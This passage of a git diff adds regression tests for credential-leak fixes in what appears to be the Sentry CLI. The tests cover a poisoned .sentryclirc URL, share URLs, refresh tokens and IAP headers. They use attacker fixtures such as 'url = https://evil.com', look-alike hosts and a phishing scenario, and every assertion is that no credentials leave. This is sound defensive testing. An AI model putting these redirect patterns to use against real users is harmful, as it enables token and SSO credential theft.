process.env.SENTRY_HOST = "sentry.acme.com"; + captureEnvTokenHost(); + expect(getEnvTokenHost()).toBe("https://sentry.acme.com"); + }); + + test("is idempotent — second capture is a no-op", () => { + process.env.SENTRY_HOST = "https://first.example.com"; + captureEnvTokenHost(); + expect(getEnvTokenHost()).toBe("https://first.example.com"); + + // Change env AFTER initial capture — snapshot should NOT update + process.env.SENTRY_HOST = "https://second.example.com"; + captureEnvTokenHost(); + expect(getEnvTokenHost()).toBe("https://first.example.com"); + }); + + test("does NOT consult values added to env after capture (the .sentryclirc simulation)", () => { + // Simulates: captureEnvTokenHost() at boot, then + // applySentryCliRcEnvShim() writes SENTRY_URL. The env-token-host + // snapshot must NOT reflect the shim write. + captureEnvTokenHost(); + expect(getEnvTokenHost()).toBe(DEFAULT_SENTRY_URL); + + // Simulate shim write + process.env.SENTRY_URL = "https://injected-by-sentryclirc.com"; + // Second call is a no-op (idempotent) + captureEnvTokenHost(); + expect(getEnvTokenHost()).toBe(DEFAULT_SENTRY_URL); + }); + + test("auto-captures on first getEnvTokenHost() call without explicit capture", () => { + process.env.SENTRY_HOST = "https://auto.example.com"; + // Never call captureEnvTokenHost explicitly + expect(getEnvTokenHost()).toBe("https://auto.example.com"); + }); +}); diff --git a/test/lib/region.test.ts b/test/lib/region.test.ts index bc0935525..0ecdbc247 100644 --- a/test/lib/region.test.ts +++ b/test/lib/region.test.ts @@ -219,7 +219,13 @@ describe("resolveOrgRegion", () => { }); test("uses SENTRY_URL as fallback for self-hosted", async () => { + // The test's beforeEach stored an OAuth row with host = SaaS (since + // SENTRY_URL was unset at store time). Re-scope the stored token to + // the self-hosted host so the fetch-layer guard admits the request. process.env.SENTRY_URL = "https://sentry.mycompany.com"; + await setAuthToken("test-token", undefined, undefined, { + host: "https://sentry.mycompany.com", + }); // Mock fetch to fail (no multi-region on self-hosted) const originalFetch = globalThis.fetch; diff --git a/test/lib/security/custom-headers-leak.test.ts b/test/lib/security/custom-headers-leak.test.ts new file mode 100644 index 000000000..59e2183c1 --- /dev/null +++ b/test/lib/security/custom-headers-leak.test.ts @@ -0,0 +1,191 @@ +/** + * CVE regression: custom-headers leak via share URL and via the + * `auth login` rc-URL bypass. + * + * Tests `applyCustomHeaders` trust scoping. Two attack shapes: + * 1. Share URL: `getSharedIssue(https://evil.com, ...)` — headers must + * not attach to URLs that don't match the active token. + * 2. auth login bypass: when `env.SENTRY_URL` is rc-poisoned and no + * token is active yet, headers must fail closed. + * + * See also `fetch-layer-guard.test.ts` for the Bearer-token path. + */ + +import { afterEach, beforeEach, describe, expect, test } from "bun:test"; +import { getSharedIssue } from "../../../src/lib/api/issues.js"; +import { + _resetCustomHeadersCache, + applyCustomHeaders, +} from "../../../src/lib/custom-headers.js"; +import { + captureEnvTokenHost, + resetEnvTokenHostForTesting, +} from "../../../src/lib/env-token-host.js"; +import { useEnvSandbox } from "../../helpers.js"; + +const ENV_KEYS = [ + "SENTRY_AUTH_TOKEN", + "SENTRY_TOKEN", + "SENTRY_HOST", + "SENTRY_URL", + "SENTRY_CUSTOM_HEADERS", +] as const; + +describe("CVE: custom-headers leak (share URL + auth-login bypass)", () => { + useEnvSandbox(ENV_KEYS); + + beforeEach(() => { + resetEnvTokenHostForTesting(); + _resetCustomHeadersCache(); + }); + + afterEach(() => { + resetEnvTokenHostForTesting(); + _resetCustomHeadersCache(); + }); + + test("IAP token NEVER leaks to untrusted share URL (direct applyCustomHeaders)", () => { + process.env.SENTRY_CUSTOM_HEADERS = "X-IAP-Token: secret-iap-value"; + // User's self-hosted instance is legit — they have a token for it. + process.env.SENTRY_HOST = "https://sentry.acme.com"; + captureEnvTokenHost(); + + const headers = new Headers({ "Content-Type": "application/json" }); + // Attacker share URL to evil.com + applyCustomHeaders( + headers, + "https://evil.com/api/0/shared/issues/deadbeef/" + ); + expect(headers.get("X-IAP-Token")).toBeNull(); + }); + + test("no-token + poisoned SENTRY_URL: custom headers fail closed (auth-login bypass)", () => { + // CRITICAL: the auth-login bypass writes env.SENTRY_URL from rc without + // trust-checking. If applyCustomHeaders fell back to `getConfiguredSentryUrl()` + // as a trust anchor, an attacker rc could establish trust simply by having + // the user `cd` into their repo and run `auth login` (no --url). + // + // Scenario: fresh install, no token, attacker's .sentryclirc has written + // SENTRY_URL = https://evil.com. User has IAP tokens configured for + // their real proxy via SENTRY_CUSTOM_HEADERS. + delete process.env.SENTRY_AUTH_TOKEN; + delete process.env.SENTRY_TOKEN; + process.env.SENTRY_CUSTOM_HEADERS = "X-IAP-Token: secret-iap-value"; + process.env.SENTRY_URL = "https://evil.com"; + + // Even the legit device-flow endpoint on evil.com must NOT get the IAP token + const headers = new Headers(); + applyCustomHeaders(headers, "https://evil.com/oauth/device/code/"); + expect(headers.get("X-IAP-Token")).toBeNull(); + // And no headers at all + expect([...headers.keys()]).toHaveLength(0); + }); + + test("getSharedIssue with attacker baseUrl does not leak custom headers (direct-call regression)", async () => { + // Simulates someone bypassing applySentryUrlContext and calling + // getSharedIssue directly with an attacker-controlled baseUrl. + process.env.SENTRY_CUSTOM_HEADERS = "X-IAP-Token: secret"; + process.env.SENTRY_HOST = "https://sentry.acme.com"; + captureEnvTokenHost(); + + // Intercept fetch to capture outbound headers + const originalFetch = globalThis.fetch; + let capturedHeaders: Headers | undefined; + globalThis.fetch = (async ( + input: RequestInfo | URL, + init?: RequestInit + ) => { + capturedHeaders = new Headers( + init?.headers ?? (input instanceof Request ? input.headers : undefined) + ); + return new Response("{}", { status: 404 }); + }) as typeof fetch; + + try { + await getSharedIssue("https://evil.com", "deadbeef12345678").catch(() => { + /* we only care about headers, not the response */ + }); + expect(capturedHeaders?.get("X-IAP-Token")).toBeNull(); + } finally { + globalThis.fetch = originalFetch; + } + }); + + test("SaaS token + regional silo: custom headers attach (legitimate SaaS multi-region)", () => { + // Regression for the trust-extension path: SaaS tokens trust any + // *.sentry.io host via SaaS equivalence. + // Note: on SaaS, getCustomHeaders() short-circuits (IAP is a self-hosted + // feature), so even legit custom headers don't attach. This test + // documents that behavior. + delete process.env.SENTRY_HOST; + delete process.env.SENTRY_URL; + process.env.SENTRY_AUTH_TOKEN = "saas-token"; + process.env.SENTRY_CUSTOM_HEADERS = "X-Custom: value"; + captureEnvTokenHost(); + + const headers = new Headers(); + applyCustomHeaders(headers, "https://us.sentry.io/api/0/"); + // SaaS short-circuit in getCustomHeaders → no attachment even for trusted host + expect(headers.get("X-Custom")).toBeNull(); + }); + + test("matching self-hosted request: custom headers attach (legitimate use)", () => { + process.env.SENTRY_HOST = "https://sentry.acme.com"; + process.env.SENTRY_AUTH_TOKEN = "test-token"; + process.env.SENTRY_CUSTOM_HEADERS = "X-IAP-Token: legit"; + captureEnvTokenHost(); + + const headers = new Headers(); + applyCustomHeaders(headers, "https://sentry.acme.com/api/0/organizations/"); + expect(headers.get("X-IAP-Token")).toBe("legit"); + }); + + test("IAP onboarding: 'auth login --url' registers a trust anchor so custom headers attach during OAuth device flow", async () => { + // Scenario: first-time self-hosted login with IAP protection. + // User runs `sentry auth login --url https://sentry.acme.com` before + // having any token. The device-code request MUST carry the IAP + // token or the IAP proxy will block it. + delete process.env.SENTRY_AUTH_TOKEN; + delete process.env.SENTRY_TOKEN; + process.env.SENTRY_CUSTOM_HEADERS = "X-IAP-Token: legit"; + + // `applyLoginUrl` (from login command) registers the trust anchor + const { applyLoginUrl } = await import( + "../../../src/commands/auth/login.js" + ); + applyLoginUrl("https://sentry.acme.com"); + + const headers = new Headers(); + applyCustomHeaders(headers, "https://sentry.acme.com/oauth/device/code/"); + // Legitimate IAP token attaches — this is the onboarding case + expect(headers.get("X-IAP-Token")).toBe("legit"); + + // Cleanup the anchor so subsequent tests aren't affected + const { resetLoginTrustAnchorForTesting } = await import( + "../../../src/lib/token-host.js" + ); + resetLoginTrustAnchorForTesting(); + }); + + test("Attacker .sentryclirc does NOT register a login trust anchor (rc bypass still fails closed)", async () => { + // This is the critical distinguishing test: the .sentryclirc shim + // writes env.SENTRY_URL via the skipUrlTrustCheck bypass, but it + // does NOT call registerLoginTrustAnchor. So no-token + // applyCustomHeaders must still fail closed even though SENTRY_URL + // is set. + delete process.env.SENTRY_AUTH_TOKEN; + delete process.env.SENTRY_TOKEN; + process.env.SENTRY_CUSTOM_HEADERS = "X-IAP-Token: secret"; + process.env.SENTRY_URL = "https://evil.com"; // simulating rc shim write + // Intentionally NOT calling applyLoginUrl — attacker flow doesn't + + const { resetLoginTrustAnchorForTesting } = await import( + "../../../src/lib/token-host.js" + ); + resetLoginTrustAnchorForTesting(); + + const headers = new Headers(); + applyCustomHeaders(headers, "https://evil.com/oauth/device/code/"); + expect(headers.get("X-IAP-Token")).toBeNull(); + }); +}); diff --git a/test/lib/security/fetch-layer-guard.test.ts b/test/lib/security/fetch-layer-guard.test.ts new file mode 100644 index 000000000..18d3e0247 --- /dev/null +++ b/test/lib/security/fetch-layer-guard.test.ts @@ -0,0 +1,100 @@ +/** + * Defense-in-depth regression tests for the fetch layer. + * + * Even if a future code path bypasses the URL-arg / .sentryclirc entry-point + * guards and writes `SENTRY_HOST`/`SENTRY_URL` directly, the fetch layer + * must still refuse to attach credentials to a request whose origin + * doesn't match the active token's scope. + * + * This file simulates the bypass by directly calling the lower-level + * primitives (`apiRequest`, `applyCustomHeaders`, `refreshAccessToken`) + * with mismatched hosts. + */ + +import { afterEach, beforeEach, describe, expect, test } from "bun:test"; +import { + _resetCustomHeadersCache, + applyCustomHeaders, +} from "../../../src/lib/custom-headers.js"; +import { resetEnvTokenHostForTesting } from "../../../src/lib/env-token-host.js"; +import { useEnvSandbox } from "../../helpers.js"; + +const ENV_KEYS = [ + "SENTRY_HOST", + "SENTRY_URL", + "SENTRY_CUSTOM_HEADERS", +] as const; + +describe("CVE defense-in-depth: fetch layer refuses mismatched hosts", () => { + useEnvSandbox(ENV_KEYS); + + beforeEach(() => { + resetEnvTokenHostForTesting(); + _resetCustomHeadersCache(); + }); + + afterEach(() => { + resetEnvTokenHostForTesting(); + _resetCustomHeadersCache(); + }); + + test("applyCustomHeaders: IAP token does NOT leak to untrusted URL (CVE #3)", () => { + // Reproduce the share-URL attack directly at the header layer. + // Even if something bypasses applySentryUrlContext and arrives at + // applyCustomHeaders with a mismatched URL, the header attach must + // refuse. + process.env.SENTRY_CUSTOM_HEADERS = "X-IAP-Token: sensitive-iap-value"; + process.env.SENTRY_HOST = "https://sentry.example.com"; + + const headers = new Headers(); + applyCustomHeaders( + headers, + "https://evil.com/api/0/shared/issues/deadbeef/" + ); + + expect(headers.get("X-IAP-Token")).toBeNull(); + // Verify no other custom headers leaked either + expect([...headers.keys()]).toHaveLength(0); + }); + + test("applyCustomHeaders: IAP token attaches to trusted URL", () => { + process.env.SENTRY_CUSTOM_HEADERS = "X-IAP-Token: sensitive-iap-value"; + process.env.SENTRY_HOST = "https://sentry.example.com"; + + const headers = new Headers(); + applyCustomHeaders( + headers, + "https://sentry.example.com/api/0/organizations/" + ); + + expect(headers.get("X-IAP-Token")).toBe("sensitive-iap-value"); + }); + + test("applyCustomHeaders: does NOT attach to a look-alike SaaS host (prefix/suffix attack)", () => { + // Critical: sentry.io.evil.com is NOT a sentry.io subdomain, so even + // a SaaS-scoped token shouldn't grant trust to it. + // SENTRY_CUSTOM_HEADERS is an IAP/proxy feature that only applies to + // self-hosted instances (getCustomHeaders short-circuits on SaaS), + // so we set SENTRY_HOST to enable it for this test. + process.env.SENTRY_CUSTOM_HEADERS = "X-Custom: value"; + process.env.SENTRY_HOST = "https://sentry.acme.com"; + + const headers = new Headers(); + applyCustomHeaders(headers, "https://sentry.acme.com.evil.com/api/0/"); + + expect(headers.get("X-Custom")).toBeNull(); + }); + + test("applyCustomHeaders: subdomain-attack on self-hosted is refused", () => { + // Token scoped to sentry.acme.com must not authorize sub.sentry.acme.com + // when it's actually an attacker-controlled subdomain takeover. + // (Non-SaaS trust class requires EXACT origin match.) + process.env.SENTRY_CUSTOM_HEADERS = "X-IAP-Token: secret"; + process.env.SENTRY_HOST = "https://sentry.acme.com"; + + const headers = new Headers(); + applyCustomHeaders(headers, "https://attacker.sentry.acme.com/api/0/"); + + expect(headers.get("X-IAP-Token")).toBeNull(); + }); +}); diff --git a/test/lib/security/login-token-rc-poison.test.ts b/test/lib/security/login-token-rc-poison.test.ts new file mode 100644 index 000000000..7e1ab7992 --- /dev/null +++ b/test/lib/security/login-token-rc-poison.test.ts @@ -0,0 +1,247 @@ +/** + * CVE regression: `sentry auth login` in a `.sentryclirc`-poisoned repo. + * + * Two attack shapes are blocked by `refuseLoginToUntrustedHost`: + * + * **Token leak** (`auth login --token X`): + * 1. User has a SaaS API token from `https://sentry.io/settings/auth-tokens/`. + * 2. User cd's into an attacker repo with `.sentryclirc` setting + * `url = https://evil.com`. + * 3. User runs `sentry auth login --token $SENTRY_API_TOKEN` (no --url). + * 4. The rc shim writes `env.SENTRY_URL = evil.com` (skipUrlTrustCheck is + * on for `auth login`). Without the refusal, login validation would + * POST the user's token to evil.com. + * + * **Phishing** (`auth login` OAuth device flow, no --token): + * 1. Same poisoned-rc setup. + * 2. User runs `sentry auth login` to set up Sentry per the repo's README. + * 3. CLI prints the device-code URL pointing at evil.com. With a + * homograph or look-alike domain (e.g. `sentry-io.example-attacker.com`), + * the user opens it without scrutiny and authenticates with their + * SSO credentials at the attacker's cloned login page. SSO leak is + * worse than a single token leak — it compromises every service the + * SSO covers. + * + * Fix: `refuseLoginToUntrustedHost` rejects login (both --token and + * OAuth paths) when the effective host wasn't registered as a login + * trust anchor (didn't come from explicit `--url` or boot-time env). + */ + +import { afterEach, beforeEach, describe, expect, test } from "bun:test"; +import { loginCommand } from "../../../src/commands/auth/login.js"; +import { captureEnvTokenHost } from "../../../src/lib/env-token-host.js"; +import { HostScopeError } from "../../../src/lib/errors.js"; +import { + extractFetchUrl, + resetHostScopingState, + useEnvSandbox, +} from "../../helpers.js"; + +const ENV_KEYS = [ + "SENTRY_HOST", + "SENTRY_URL", + "SENTRY_AUTH_TOKEN", + "SENTRY_TOKEN", + "SENTRY_CLIENT_ID", + "SENTRY_CUSTOM_HEADERS", +] as const; + +type LoginFlags = { + readonly token?: string; + readonly timeout: number; + readonly force: boolean; + readonly url?: string; +}; + +type LoginFunc = (this: unknown, flags: LoginFlags) => Promise; + +const noop = () => { + // write sinks in test context +}; + +function createContext() { + return { + stdout: { write: noop }, + stderr: { write: noop }, + cwd: "/tmp", + }; +} + +/** + * Check if a URL's hostname exactly matches one of the given hostnames. + * Use in preference to `.includes()` substring matching — a crafted + * URL like `https://evil.com.attacker.com/` would pass a substring + * check on `"evil.com"` and produce a false security assurance. + */ +function urlHostnameIn(url: string, hostnames: string[]): boolean { + try { + return hostnames.includes(new URL(url).hostname); + } catch { + return false; + } +} + +describe("CVE: auth login --token with rc-poisoned env.SENTRY_URL", () => { + useEnvSandbox(ENV_KEYS); + + let fetchCalls: { url: string; authorization: string | null }[]; + let originalFetch: typeof globalThis.fetch; + + beforeEach(async () => { + await resetHostScopingState(); + + // Intercept fetch to assert no outbound requests on the attacker path. + fetchCalls = []; + originalFetch = globalThis.fetch; + globalThis.fetch = (async ( + input: RequestInfo | URL, + init?: RequestInit + ) => { + const headers = new Headers( + init?.headers ?? (input instanceof Request ? input.headers : undefined) + ); + fetchCalls.push({ + url: extractFetchUrl(input), + authorization: headers.get("Authorization"), + }); + throw new Error("test: unexpected fetch"); + }) as typeof fetch; + }); + + afterEach(async () => { + await resetHostScopingState(); + globalThis.fetch = originalFetch; + }); + + test("auth login --token without --url in rc-poisoned env throws before network I/O", async () => { + // Simulate the attack state: no SENTRY_HOST at boot (env-token-host + // captures SaaS default), then rc shim writes env.SENTRY_URL to the + // attacker's host. + captureEnvTokenHost(); // captures SaaS default (no env set) + process.env.SENTRY_URL = "https://evil.com"; // simulate rc shim write + + const func = (await loginCommand.loader()) as unknown as LoginFunc; + const context = createContext(); + + await expect( + func.call(context, { + token: "user-saas-api-token-secret", + force: false, + timeout: 900, + }) + ).rejects.toBeInstanceOf(HostScopeError); + + // Critical: the user's token NEVER hit the wire. + const leaked = fetchCalls.filter((c) => + c.authorization?.includes("user-saas-api-token-secret") + ); + expect(leaked).toEqual([]); + // And no requests to the attacker at all + const toEvil = fetchCalls.filter((c) => urlHostnameIn(c.url, ["evil.com"])); + expect(toEvil).toEqual([]); + }); + + test("auth login OAuth flow (no token, no --url) in rc-poisoned env: refused before browser open", async () => { + // Phishing defense: the OAuth device flow would otherwise direct + // the user's browser to /oauth/authorize/... A homograph + // domain plus a Sentry-cloned login page can capture SSO + // credentials. Refusing here keeps the user from opening the + // attacker URL in the first place — much stronger than relying on + // them to spot the malicious URL in terminal output. + captureEnvTokenHost(); + process.env.SENTRY_URL = "https://evil.com"; + + const func = (await loginCommand.loader()) as unknown as LoginFunc; + const context = createContext(); + + await expect( + func.call(context, { force: false, timeout: 900 }) + ).rejects.toBeInstanceOf(HostScopeError); + + const toEvil = fetchCalls.filter((c) => urlHostnameIn(c.url, ["evil.com"])); + expect(toEvil).toEqual([]); + }); + + test("auth login --url explicitly acknowledges the host (legitimate onboarding)", async () => { + // The explicit --url path is the documented way to acknowledge a + // new host. rc-sourced env.SENTRY_URL is overwritten by applyLoginUrl. + captureEnvTokenHost(); + process.env.SENTRY_URL = "https://evil.com"; // poisoned by rc + + const func = (await loginCommand.loader()) as unknown as LoginFunc; + const context = createContext(); + + // User explicitly says `--url https://sentry.example.com` — this + // wins over the rc-poisoned env. Host is registered as anchor, so + // no HostScopeError. The actual login fires and hits our mock fetch + // (which throws), but importantly: it targets the user's intended + // host, not the attacker's. + await expect( + func.call(context, { + token: "legit-token", + url: "https://sentry.example.com", + force: false, + timeout: 900, + }) + ).rejects.toThrow(); // our fetch mock throws + + const toEvil = fetchCalls.filter((c) => urlHostnameIn(c.url, ["evil.com"])); + expect(toEvil).toEqual([]); + const toIntended = fetchCalls.filter((c) => + urlHostnameIn(c.url, ["sentry.example.com"]) + ); + expect(toIntended.length).toBeGreaterThan(0); + }); + + test("auth login --token with SENTRY_HOST but no --url: requires explicit --url", async () => { + // Even when SENTRY_HOST is legitimately shell-exported, --token login + // requires --url to confirm the host. This simplifies the trust model + // (only --url registers a trust anchor) and avoids the boot-snapshot + // comparison complexity. Self-hosted users add --url on first login. + process.env.SENTRY_HOST = "https://sentry.acme.com"; + captureEnvTokenHost(); + + const func = (await loginCommand.loader()) as unknown as LoginFunc; + const context = createContext(); + + await expect( + func.call(context, { + token: "legit-token", + force: false, + timeout: 900, + }) + ).rejects.toBeInstanceOf(HostScopeError); + + // No network I/O attempted. + expect(fetchCalls).toEqual([]); + }); + + test("stale login anchor for hostA does NOT admit login --token in rc-poisoned hostB", async () => { + // Library-mode regression: a previous applyLoginUrl(--url=hostA) in + // the same process registers a login anchor for hostA. A subsequent + // `auth login --token X` in a poisoned-rc hostB env must NOT use + // hostA's anchor as a free pass — the refusal guard checks anchor↔host + // match, not anchor existence. + captureEnvTokenHost(); + const { registerLoginTrustAnchor } = await import( + "../../../src/lib/token-host.js" + ); + registerLoginTrustAnchor("https://sentry.hosta.com"); + + process.env.SENTRY_URL = "https://evil.com"; + + const func = (await loginCommand.loader()) as unknown as LoginFunc; + const context = createContext(); + + await expect( + func.call(context, { + token: "user-saas-api-token-secret", + force: false, + timeout: 900, + }) + ).rejects.toBeInstanceOf(HostScopeError); + + const toEvil = fetchCalls.filter((c) => urlHostnameIn(c.url, ["evil.com"])); + expect(toEvil).toEqual([]); + }); +}); diff --git a/test/lib/security/refresh-token-poison.test.ts b/test/lib/security/refresh-token-poison.test.ts new file mode 100644 index 000000000..99f841c38 --- /dev/null +++ b/test/lib/security/refresh-token-poison.test.ts @@ -0,0 +1,95 @@ +/** + * CVE defense-in-depth: OAuth refresh-token credential exfiltration. + * + * Attack: if something bypasses the entry-point guards and poisons + * `env.SENTRY_URL` before the next OAuth refresh fires, the refresh token + * would previously be POSTed to the attacker's `/oauth/token/` endpoint. + * + * Fix: `refreshAccessToken` calls `assertRefreshHostTrusted()` before + * building the request body, which throws `CliError` on mismatch. + */ + +import { afterEach, beforeEach, describe, expect, test } from "bun:test"; +import { + captureEnvTokenHost, + resetEnvTokenHostForTesting, +} from "../../../src/lib/env-token-host.js"; +import { refreshAccessToken } from "../../../src/lib/oauth.js"; +import { extractFetchUrl, useEnvSandbox } from "../../helpers.js"; + +const ENV_KEYS = ["SENTRY_HOST", "SENTRY_URL", "SENTRY_CLIENT_ID"] as const; + +describe("CVE defense-in-depth: refresh token", () => { + useEnvSandbox(ENV_KEYS); + + let fetchCalls: string[]; + let originalFetch: typeof globalThis.fetch; + + beforeEach(() => { + // A client ID is required for refreshAccessToken to proceed past the + // config check. We want it to reach (and fail at) the host assertion. + process.env.SENTRY_CLIENT_ID = "test-client-id"; + resetEnvTokenHostForTesting(); + // Intercept fetch to detect any outbound request attempt. + fetchCalls = []; + originalFetch = globalThis.fetch; + globalThis.fetch = (async (input: RequestInfo | URL) => { + fetchCalls.push(extractFetchUrl(input)); + throw new Error("test: unexpected fetch"); + }) as typeof fetch; + }); + + afterEach(() => { + resetEnvTokenHostForTesting(); + globalThis.fetch = originalFetch; + }); + + test("refreshAccessToken throws before fetch when env.SENTRY_URL is poisoned after boot", async () => { + // Step 1: simulate boot — capture env-token-host with no SENTRY_URL set + // (defaults to SaaS, matching a user who got SENTRY_AUTH_TOKEN from their + // shell without configuring SENTRY_HOST). + resetEnvTokenHostForTesting(); + captureEnvTokenHost(); // snapshots → SaaS default + + // Step 2: simulate the bypass — something writes env.SENTRY_URL AFTER + // the snapshot. This is the attack shape: env got poisoned by a + // code path that skipped the URL-arg / rc-shim guards. + process.env.SENTRY_URL = "https://evil.com"; + + // `refreshAccessToken` throws synchronously from its host-scope guard + // (before returning the promise from withHttpSpan). Handle both shapes. + let thrown: unknown; + try { + await refreshAccessToken("fake-refresh-token"); + } catch (err) { + thrown = err; + } + expect(thrown).toBeInstanceOf(Error); + expect((thrown as Error).message).toMatch( + /does not match|sentry auth login --url/ + ); + + // Critical: zero outbound requests to evil.com (or anywhere). + expect(fetchCalls).toEqual([]); + }); + + test("refreshAccessToken proceeds when URL matches token scope", async () => { + // Pin env-token to the self-hosted instance BEFORE the url is used. + process.env.SENTRY_HOST = "https://sentry.example.com"; + resetEnvTokenHostForTesting(); + captureEnvTokenHost(); + // Also set SENTRY_URL so getSentryUrl() returns the same host + process.env.SENTRY_URL = "https://sentry.example.com"; + + // Should NOT throw at the host-assertion; the actual fetch will fail + // with the mock "test: unexpected fetch" error, which is fine — the + // important thing is that the pre-fetch assertion let us through. + await expect(refreshAccessToken("fake-refresh-token")).rejects.toThrow( + /unexpected fetch|Cannot connect|fetch failed/ + ); + + // A request was attempted, and it went to the correct host + expect(fetchCalls).toHaveLength(1); + expect(fetchCalls[0]).toBe("https://sentry.example.com/oauth/token/"); + }); +}); diff --git a/test/lib/security/sentryclirc-url-poison.test.ts b/test/lib/security/sentryclirc-url-poison.test.ts new file mode 100644 index 000000000..674ddf763 --- /dev/null +++ b/test/lib/security/sentryclirc-url-poison.test.ts @@ -0,0 +1,170 @@ +/** + * CVE regression: .sentryclirc URL injection attack. + * + * Attack: a committed `.sentryclirc` file in a cloned repo sets + * `[defaults] url = https://evil.com`. The env-shim previously wrote + * `env.SENTRY_URL=https://evil.com` when neither `SENTRY_HOST` nor + * `SENTRY_URL` was set, independent of whether `SENTRY_AUTH_TOKEN` was + * present — so a developer's real token got sent to the attacker on every + * CLI command. + * + * Fix (this PR): the shim consults `getActiveTokenHost()` (from env-only + * snapshot, not .sentryclirc itself) and throws `CliError` when the rc + * url doesn't match the active token's scope. SaaS URLs bypass the check + * (no credentials can leak to SaaS). + */ + +import { afterEach, beforeEach, describe, expect, test } from "bun:test"; +import { writeFileSync } from "node:fs"; +import { join } from "node:path"; +import { closeDatabase } from "../../../src/lib/db/index.js"; +import { + captureEnvTokenHost, + resetEnvTokenHostForTesting, +} from "../../../src/lib/env-token-host.js"; +import { + applySentryCliRcEnvShim, + CONFIG_FILENAME, + clearSentryCliRcCache, +} from "../../../src/lib/sentryclirc.js"; +import { cleanupTestDir, createTestConfigDir } from "../../helpers.js"; + +// Don't use useEnvSandbox here: these tests depend on preload's +// SENTRY_AUTH_TOKEN being present (so getActiveTokenHost() returns a host) +// while still controlling SENTRY_HOST/URL/CONFIG_DIR per-test. +const ENV_KEYS = ["SENTRY_HOST", "SENTRY_URL", "SENTRY_CONFIG_DIR"] as const; + +function writeRc(dir: string, content: string): void { + writeFileSync(join(dir, CONFIG_FILENAME), content, "utf-8"); +} + +describe("CVE: .sentryclirc URL credential exfiltration", () => { + let testDir: string; + let saved: Record; + + beforeEach(async () => { + clearSentryCliRcCache(); + closeDatabase(); + saved = Object.fromEntries(ENV_KEYS.map((k) => [k, process.env[k]])); + testDir = await createTestConfigDir("sentryclirc-cve-", { + isolateProjectRoot: true, + }); + process.env.SENTRY_CONFIG_DIR = testDir; + resetEnvTokenHostForTesting(); + }); + + afterEach(async () => { + clearSentryCliRcCache(); + closeDatabase(); + for (const k of ENV_KEYS) { + const v = saved[k]; + if (v !== undefined) { + process.env[k] = v; + } else { + delete process.env[k]; + } + } + resetEnvTokenHostForTesting(); + await cleanupTestDir(testDir); + }); + + test("repo-local .sentryclirc with attacker URL throws (SENTRY_AUTH_TOKEN default SaaS scope)", async () => { + // Attack setup: user has SENTRY_AUTH_TOKEN (scoped to SaaS by default + // because no SENTRY_HOST is set). Attacker repo ships .sentryclirc + // pointing at evil.com. + delete process.env.SENTRY_HOST; + delete process.env.SENTRY_URL; + // SENTRY_AUTH_TOKEN is already set by test/preload.ts + writeRc(testDir, "[defaults]\nurl = https://evil.com\n"); + + await expect(applySentryCliRcEnvShim(testDir)).rejects.toThrow( + /does not match|sentry auth login --url/ + ); + + // Critical: env must remain unpoisoned so no credentialed request + // will be sent to evil.com. + expect(process.env.SENTRY_URL).toBeUndefined(); + expect(process.env.SENTRY_HOST).toBeUndefined(); + }); + + test("global-style .sentryclirc with attacker URL is rejected too (no 'global is trusted' bypass)", async () => { + // The plan explicitly rejects 'global rc is trusted' because CI runners + // can write ~/.sentryclirc. Writing to the config dir (treated as + // global) must NOT be a trust-establishment pathway. + delete process.env.SENTRY_HOST; + delete process.env.SENTRY_URL; + // Write the rc in the config dir (SENTRY_CONFIG_DIR is set above). + // That's treated as a "global" path by the shim's scope tagging. + writeRc(testDir, "[defaults]\nurl = https://evil.com\n"); + + await expect(applySentryCliRcEnvShim(testDir)).rejects.toThrow( + /does not match|sentry auth login --url/ + ); + expect(process.env.SENTRY_URL).toBeUndefined(); + }); + + test("SaaS URL in .sentryclirc proceeds (no credential leak possible to SaaS)", async () => { + delete process.env.SENTRY_HOST; + delete process.env.SENTRY_URL; + writeRc(testDir, "[defaults]\nurl = https://sentry.io\n"); + + await applySentryCliRcEnvShim(testDir); + expect(process.env.SENTRY_URL).toBe("https://sentry.io"); + }); + + test("matching self-hosted URL proceeds when env-token is scoped to that host", async () => { + // Simulate boot ordering: user sets SENTRY_HOST via env (shell export), + // captureEnvTokenHost() pins the token's scope to that host, THEN the + // env gets cleared (simulating e.g. a test isolation or a shell that + // only exported SENTRY_HOST for a particular subcommand). The rc file + // then proposes the same host the token was scoped to — match. + process.env.SENTRY_HOST = "https://sentry.example.com"; + resetEnvTokenHostForTesting(); + captureEnvTokenHost(); // pin to sentry.example.com + // Now simulate the shim running when both env vars are unset so the + // shim's "only write if both unset" guard admits the rc-sourced URL. + delete process.env.SENTRY_HOST; + delete process.env.SENTRY_URL; + writeRc(testDir, "[defaults]\nurl = https://sentry.example.com\n"); + + await applySentryCliRcEnvShim(testDir); + expect(process.env.SENTRY_URL).toBe("https://sentry.example.com"); + }); + + test("existing SENTRY_HOST is never overridden by rc (shim has its own guard)", async () => { + // Pre-existing SENTRY_HOST from user env — rc must not override it + // regardless of what the rc says. + process.env.SENTRY_HOST = "https://sentry.example.com"; + resetEnvTokenHostForTesting(); + writeRc(testDir, "[defaults]\nurl = https://evil.com\n"); + + // Shim's own "only write if both unset" guard kicks in first → silent no-op + await applySentryCliRcEnvShim(testDir); + expect(process.env.SENTRY_HOST).toBe("https://sentry.example.com"); + expect(process.env.SENTRY_URL).toBeUndefined(); + }); + + test("skipUrlTrustCheck bypasses the guard (used for auth login/logout bootstrap)", async () => { + // Onboarding scenario: fresh install, user `cd`s into a self-hosted + // monorepo shipping its own `.sentryclirc`, runs `sentry auth login + // --url `. The shim must NOT block — otherwise the login + // command is chicken-and-egg. + delete process.env.SENTRY_HOST; + delete process.env.SENTRY_URL; + writeRc(testDir, "[defaults]\nurl = https://sentry.example.com\n"); + + // With bypass — proceeds and applies the rc URL as the login target. + await applySentryCliRcEnvShim(testDir, { skipUrlTrustCheck: true }); + expect(process.env.SENTRY_URL).toBe("https://sentry.example.com"); + }); + + test("skipUrlTrustCheck does NOT bypass for SaaS (no behavior change for SaaS)", async () => { + // SaaS is always admitted regardless of bypass flag — trivial no-op. + delete process.env.SENTRY_HOST; + delete process.env.SENTRY_URL; + writeRc(testDir, "[defaults]\nurl = https://sentry.io\n"); + + await applySentryCliRcEnvShim(testDir, { skipUrlTrustCheck: false }); + expect(process.env.SENTRY_URL).toBe("https://sentry.io"); + }); +}); diff --git a/test/lib/security/sntrys-claim-mismatch.test.ts b/test/lib/security/sntrys-claim-mismatch.test.ts new file mode 100644 index 000000000..71fe70629 --- /dev/null +++ b/test/lib/security/sntrys-claim-mismatch.test.ts @@ -0,0 +1,275 @@ +/** + * Defense-in-depth: `sntrys_` token claim vs request-origin mismatch. + * + * The fetch-layer guard refuses to attach a `sntrys_` token when its + * embedded `url` claim disagrees with the request origin. Defends 